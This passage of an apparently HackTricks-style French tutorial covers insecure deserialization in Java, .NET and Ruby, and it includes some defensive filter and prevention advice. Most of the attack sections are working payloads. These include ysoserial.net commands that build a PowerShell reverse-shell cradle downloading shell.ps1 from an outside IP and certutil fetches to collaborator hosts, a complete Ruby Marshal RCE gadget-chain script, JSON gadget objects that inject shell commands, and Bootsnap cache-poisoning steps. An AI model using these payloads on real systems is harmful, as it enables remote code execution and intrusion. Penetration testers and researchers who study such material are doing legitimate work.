ImplĂ©mentation des filtres de sĂ©rialisation: Java 9 a introduit des filtres de sĂ©rialisation via l'interface ObjectInputFilter, offrant un mĂ©canisme puissant pour spĂ©cifier les critĂšres que les objets sĂ©rialisĂ©s doivent satisfaire avant d'ĂȘtre dĂ©sĂ©rialisĂ©s. Ces filtres peuvent ĂȘtre appliquĂ©s globalement ou par flux, offrant un contrĂŽle granulaire du processus de dĂ©sĂ©rialisation.

Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s'applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Utiliser des bibliothÚques externes pour renforcer la sécurité: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. Ces bibliothÚques peuvent apporter des couches de sécurité supplémentaires, telles que le whitelisting ou le blacklisting de classes, l'analyse d'objets sérialisés avant désérialisation, et l'implémentation de stratégies de sérialisation personnalisées.

  • NotSoSerial intercepte les processus de dĂ©sĂ©rialisation pour empĂȘcher l'exĂ©cution de code non fiable.
  • jdeserialize permet l'analyse d'objets Java sĂ©rialisĂ©s sans les dĂ©sĂ©rialiser, aidant Ă  identifier un contenu potentiellement malveillant.
  • Kryo est un framework de sĂ©rialisation alternatif axĂ© sur la rapiditĂ© et l'efficacitĂ©, offrant des stratĂ©gies de sĂ©rialisation configurables pouvant amĂ©liorer la sĂ©curitĂ©.

Références

JNDI Injection & log4Shell

Trouvez ce qu'est JNDI Injection, comment l'abuser via RMI, CORBA & LDAP et comment exploiter log4shell (et un exemple de cette vulnérabilité) dans la page suivante:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

L'API Java Message Service (JMS) est une API middleware orientĂ©e messages pour envoyer des messages entre deux clients ou plus. Elle constitue une implĂ©mentation pour gĂ©rer le problĂšme producteur–consommateur. JMS fait partie de la Java Platform, Enterprise Edition (Java EE), et a Ă©tĂ© dĂ©finie par une spĂ©cification dĂ©veloppĂ©e chez Sun Microsystems, mais qui est depuis encadrĂ©e par la Java Community Process. C'est une norme de messagerie qui permet aux composants d'application basĂ©s sur Java EE de crĂ©er, envoyer, recevoir et lire des messages. Elle permet la communication entre diffĂ©rents composants d'une application distribuĂ©e de maniĂšre faiblement couplĂ©e, fiable et asynchrone. (From Wikipedia).

Products

There are several products using this middleware to send messages:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

En pratique, de nombreux services utilisent JMS de maniĂšre dangereuse. Par consĂ©quent, si vous disposez de suffisamment de privilĂšges pour envoyer des messages Ă  ces services (gĂ©nĂ©ralement vous aurez besoin d'identifiants valides), vous pourriez ĂȘtre en mesure d'envoyer des objets sĂ©rialisĂ©s malveillants qui seront dĂ©sĂ©rialisĂ©s par le consumer/subscriber.
Cela signifie que, dans cette exploitation, tous les clients qui vont utiliser ce message seront compromis.

Il faut garder Ă  l'esprit que mĂȘme si un service est vulnĂ©rable (parce qu'il dĂ©sĂ©rialise de maniĂšre non sĂ©curisĂ©e des entrĂ©es utilisateur), vous devez quand mĂȘme trouver des gadgets valides pour exploiter la vulnĂ©rabilitĂ©.

L'outil JMET a été créé pour se connecter et attaquer ces services en envoyant plusieurs objets sérialisés malveillants utilisant des gadgets connus. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés se trouve dans l'application vulnérable.

References

.Net

Dans le contexte de .Net, les exploits de dĂ©sĂ©rialisation opĂšrent de maniĂšre analogue Ă  ceux rencontrĂ©s en Java, oĂč des gadgets sont exploitĂ©s pour exĂ©cuter du code spĂ©cifique lors de la dĂ©sĂ©rialisation d'un objet.

Fingerprint

WhiteBox

Le code source doit ĂȘtre inspectĂ© Ă  la recherche des occurrences de :

  1. TypeNameHandling
  2. JavaScriptTypeResolver

L'attention doit se porter sur les serializers qui permettent que le type soit déterminé par une variable sous le contrÎle de l'utilisateur.

BlackBox

La recherche doit cibler la chaĂźne encodĂ©e Base64 AAEAAAD///// ou tout motif similaire susceptible d'ĂȘtre dĂ©sĂ©rialisĂ© cĂŽtĂ© serveur, accordant le contrĂŽle du type Ă  dĂ©sĂ©rialiser. Cela peut inclure, sans s'y limiter, des structures JSON ou XML prĂ©sentant TypeObject ou $type.

ysoserial.net

Dans ce cas, vous pouvez utiliser l'outil ysoserial.net afin de créer les exploits de désérialisation. Une fois le dépÎt git téléchargé, vous devez compiler l'outil en utilisant Visual Studio par exemple.

Si vous voulez comprendre comment ysoserial.net crée son exploit vous pouvez check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Les options principales de ysoserial.net sont : --gadget, --formatter, --output et --plugin.

  • --gadget utilisĂ© pour indiquer le gadget Ă  exploiter (indiquer la classe/fonction qui sera abusĂ©e lors de la dĂ©sĂ©rialisation pour exĂ©cuter des commandes).
  • --formatter, utilisĂ© pour indiquer la mĂ©thode pour sĂ©rialiser l'exploit (vous devez savoir quelle bibliothĂšque est utilisĂ©e par le back-end pour dĂ©sĂ©rialiser la payload et utiliser la mĂȘme pour la sĂ©rialiser).
  • --output utilisĂ© pour indiquer si vous voulez l'exploit en raw ou encodĂ© en base64. Notez que ysoserial.net va encoder la payload en UTF-16LE (encodage utilisĂ© par dĂ©faut sous Windows) donc si vous rĂ©cupĂ©rez la version brute et l'encodez depuis une console Linux vous pourriez rencontrer des problĂšmes de compatibilitĂ© d'encodage qui empĂȘcheront l'exploit de fonctionner correctement (dans une machine HTB JSON la payload a fonctionnĂ© en UTF-16LE et en ASCII mais cela ne signifie pas que cela fonctionnera toujours).
  • --plugin ysoserial.net supporte des plugins pour crĂ©er des exploits pour des frameworks spĂ©cifiques comme ViewState

More ysoserial.net parameters

  • --minify fournira une payload plus petite (si possible)
  • --raf -f Json.Net -c "anything" indiquera tous les gadgets pouvant ĂȘtre utilisĂ©s avec un formatter fourni (Json.Net dans ce cas)
  • --sf xml vous pouvez indiquer un gadget (-g) et ysoserial.net recherchera des formatters contenant "xml" (insensible Ă  la casse)

Exemples ysoserial pour créer des exploits:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net possÚde également un paramÚtre trÚs intéressant qui aide à mieux comprendre comment chaque exploit fonctionne : --test
Si vous indiquez ce paramĂštre ysoserial.net va essayer l'exploit localement, afin que vous puissiez tester si votre payload fonctionnera correctement.
Ce paramĂštre est utile car si vous examinez le code vous trouverez des extraits de code comme le suivant (extrait de ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Cela signifie que, pour tester l'exploit, le code appellera serializersHelper.JsonNet_deserialize

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Le code précédent est vulnérable à l'exploit créé. Donc, si vous trouvez quelque chose de similaire dans une application .Net, cela signifie probablement que cette application est vulnérable aussi.
Par conséquent, le paramÚtre --test nous permet de comprendre quels morceaux de code sont vulnérables à l'exploit de deserialization que ysoserial.net peut créer.

ViewState

Consultez this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. Si vous connaissez déjà les secrets utilisés par la machine victime, read this post to know to execute code.

Prévention

Pour atténuer les risques associés à la deserialization dans .Net :

  • Évitez de permettre aux flux de donnĂ©es de dĂ©finir leurs types d'objet. Utilisez DataContractSerializer ou XmlSerializer lorsque cela est possible.
  • Pour JSON.Net, rĂ©glez TypeNameHandling sur None : TypeNameHandling = TypeNameHandling.None
  • Évitez d'utiliser JavaScriptSerializer avec un JavaScriptTypeResolver.
  • Limitez les types qui peuvent ĂȘtre dĂ©sĂ©rialisĂ©s, en comprenant les risques inhĂ©rents aux types .Net, tels que System.IO.FileInfo, qui peuvent modifier les propriĂ©tĂ©s des fichiers du serveur, pouvant mener Ă  des attaques par dĂ©ni de service.
  • Soyez prudent avec les types ayant des propriĂ©tĂ©s risquĂ©es, comme System.ComponentModel.DataAnnotations.ValidationException avec sa propriĂ©tĂ© Value, qui peut ĂȘtre exploitĂ©e.
  • ContrĂŽlez de maniĂšre sĂ©curisĂ©e l'instanciation des types pour empĂȘcher les attaquants d'influencer le processus de dĂ©sĂ©rialisation, rendant mĂȘme DataContractSerializer ou XmlSerializer vulnĂ©rables.
  • Mettez en Ɠuvre des contrĂŽles de liste blanche en utilisant un SerializationBinder personnalisĂ© pour BinaryFormatter et JSON.Net.
  • Tenez-vous informĂ© des gadgets de deserialization connus et non sĂ©curisĂ©s au sein de .Net et assurez-vous que les dĂ©sĂ©rialiseurs n'instancient pas de tels types.
  • Isolez le code potentiellement risquĂ© du code ayant accĂšs Ă  Internet afin d'Ă©viter d'exposer des gadgets connus, tels que System.Windows.Data.ObjectDataProvider dans les applications WPF, Ă  des sources de donnĂ©es non fiables.

References

Ruby

En Ruby, serialization est assurĂ©e par deux mĂ©thodes au sein de la bibliothĂšque marshal. La premiĂšre mĂ©thode, connue sous le nom dump, est utilisĂ©e pour transformer un objet en un flux d'octets. Ce processus est appelĂ© serialization. À l'inverse, la seconde mĂ©thode, load, est employĂ©e pour retransformer un flux d'octets en un objet, un processus appelĂ© deserialization.

Pour sécuriser les objets sérialisés, Ruby utilise HMAC (Hash-Based Message Authentication Code), garantissant l'intégrité et l'authenticité des données. La clé utilisée à cette fin est stockée dans l'un des emplacements suivants :

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Autre chaĂźne RCE pour exploiter Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Méthode Ruby .send()

Comme expliqué dans ce rapport de vulnérabilité, si une entrée utilisateur non assainie atteint la méthode .send() d'un objet ruby, cette méthode permet d'invoquer n'importe quelle autre méthode de l'objet avec n'importe quels paramÚtres.

Par exemple, appeler eval puis du code ruby en tant que second paramÚtre permettra d'exécuter du code arbitraire :

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

De plus, si un seul paramÚtre de .send() est contrÎlé par un attaquant, comme mentionné dans le writeup précédent, il est possible d'appeler n'importe quelle méthode de l'objet qui n'a pas besoin d'arguments ou dont les arguments ont des valeurs par défaut.
Pour cela, il est possible d'énumérer toutes les méthodes de l'objet afin de trouver des méthodes intéressantes qui répondent à ces exigences.

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Voyez comment il est possible de pollute a Ruby class and abuse it in here.

Ruby _json pollution

When sending in a body some values not hashabled like an array they will be added into a new key called _json. However, It’s possible for an attacker to also set in the body a value called _json with the arbitrary values he wishes. Then, If the backend for example checks the veracity of a parameter but then also uses the _json parameter to perform some action, an authorisation bypass could be performed.

Pour plus d'informations, consultez la Ruby _json pollution page.

Other libraries

Cette technique a été reprise from this blog post.

There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically):

BibliothÚqueDonnées d'entréeMéthode déclencheuse à l'intérieur de la classe
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Exemple basique :

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Dans le cas d'une tentative d'abuser Oj, il a été possible de trouver un gadget class qui, dans sa fonction hash, appelle to_s, qui appelle spec, qui appelle fetch_path, et qu'on pouvait contraindre à récupérer une URL aléatoire, fournissant un excellent détecteur pour ce type d'unsanitized deserialization vulnerabilities.

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

De plus, il a été constaté qu'avec la technique précédente, un dossier est créé sur le systÚme, ce qui est nécessaire pour exploiter un autre gadget et transformer cela en un RCE complet, par exemple :

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Consultez le original post pour plus de détails.

Bootstrap Caching

Ce n'est pas vraiment une vulnérabilité de désérialisation mais une astuce intéressante pour abuser du bootstrap caching afin d'obtenir une RCE depuis une application rails via un arbitrary file write (trouvez le post original complet ici : https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/).

Ci‑dessous un court rĂ©sumĂ© des Ă©tapes dĂ©taillĂ©es dans l'article pour exploiter une vulnĂ©rabilitĂ© d'Ă©criture de fichier arbitraire en abusant du cache Bootsnap :

  • Identifier la vulnĂ©rabilitĂ© et l'environnement

    La fonctionnalité d'upload de fichiers de l'application Rails permet à un attaquant d'écrire des fichiers de maniÚre arbitraire. Bien que l'application fonctionne avec des restrictions (seuls certains répertoires comme tmp sont inscriptibles à cause de l'utilisateur non-root de Docker), cela permet néanmoins d'écrire dans le répertoire de cache Bootsnap (généralement sous tmp/cache/bootsnap).

  • Comprendre le mĂ©canisme de cache de Bootsnap

    Bootsnap accĂ©lĂšre le dĂ©marrage de Rails en mettant en cache du code Ruby compilĂ©, des fichiers YAML et JSON. Il stocke des fichiers de cache qui incluent un en‑tĂȘte de cache key (avec des champs comme Ruby version, file size, mtime, compile options, etc.) suivi du code compilĂ©. Cet en‑tĂȘte est utilisĂ© pour valider le cache au dĂ©marrage de l'application.

  • Collecter les mĂ©tadonnĂ©es du fichier

    L'attaquant choisit d'abord un fichier cible susceptible d'ĂȘtre chargĂ© au dĂ©marrage de Rails (par exemple, set.rb de la bibliothĂšque standard Ruby). En exĂ©cutant du code Ruby Ă  l'intĂ©rieur du conteneur, il extrait des mĂ©tadonnĂ©es critiques (comme RUBY_VERSION, RUBY_REVISION, size, mtime et compile_option). Ces informations sont essentielles pour fabriquer une cache key valide.

  • Calculer le chemin du fichier de cache

    En reproduisant le mĂ©canisme de hash FNV-1a 64-bit de Bootsnap, on dĂ©termine le chemin correct du fichier de cache. Cette Ă©tape garantit que le fichier de cache malveillant est placĂ© exactement lĂ  oĂč Bootsnap l'attend (par ex., sous tmp/cache/bootsnap/compile-cache-iseq/).

  • PrĂ©parer le fichier de cache malveillant

    • ExĂ©cute des commandes arbitraires (par exemple, exĂ©cuter id pour afficher des infos sur le process).
    • Supprime le cache malveillant aprĂšs exĂ©cution pour Ă©viter une exploitation rĂ©cursive.
    • Charge le fichier original (par ex., set.rb) pour Ă©viter de planter l'application.

    Ce payload est compilĂ© en code Ruby binaire et concatĂ©nĂ© avec un en‑tĂȘte de cache key soigneusement construit (en utilisant les mĂ©tadonnĂ©es collectĂ©es et le numĂ©ro de version correct pour Bootsnap).

  • Écraser et dĂ©clencher l'exĂ©cution

    En exploitant la vulnérabilité d'écriture de fichier arbitraire, l'attaquant écrit le fichier de cache créé à l'emplacement calculé. Ensuite, il déclenche un redémarrage du serveur (en écrivant dans tmp/restart.txt, qui est surveillé par Puma). Lors du redémarrage, lorsque Rails require le fichier ciblé, le fichier de cache malveillant est chargé, entraßnant une exécution de code à distance (RCE).

Ruby Marshal exploitation in practice (mis Ă  jour)

Considérez tout chemin par lequel des octets non fiables atteignent Marshal.load/marshal_load comme un sink RCE. Marshal reconstruit des graphes d'objets arbitraires et déclenche des callbacks de library/gem durant la matérialisation.

  • Chemin de code Rails minimal vulnĂ©rable:
ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Classes de gadget courantes observĂ©es dans des chains rĂ©elles : Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Marqueur de side-effect typique intĂ©grĂ© dans les payloads (exĂ©cutĂ© pendant l'unmarshal) :
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

OĂč cela apparaĂźt dans des applications rĂ©elles :

  • Les cache stores et session stores de Rails, historiquement basĂ©s sur Marshal
  • Les backends de jobs en arriĂšre-plan et les file-backed object stores
  • Toute persistance personnalisĂ©e ou transport de blobs d'objets binaires

Découverte industrialisée de gadgets :

  • Grep pour les constructeurs, hash, _load, init_with, ou les mĂ©thodes Ă  effets de bord invoquĂ©es lors de l'unmarshal
  • Utilisez les requĂȘtes CodeQL Ruby unsafe deserialization pour tracer les sources → sinks et mettre au jour des gadgets
  • Validez avec des PoCs publics multi-format (JSON/XML/YAML/Marshal)

Références

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks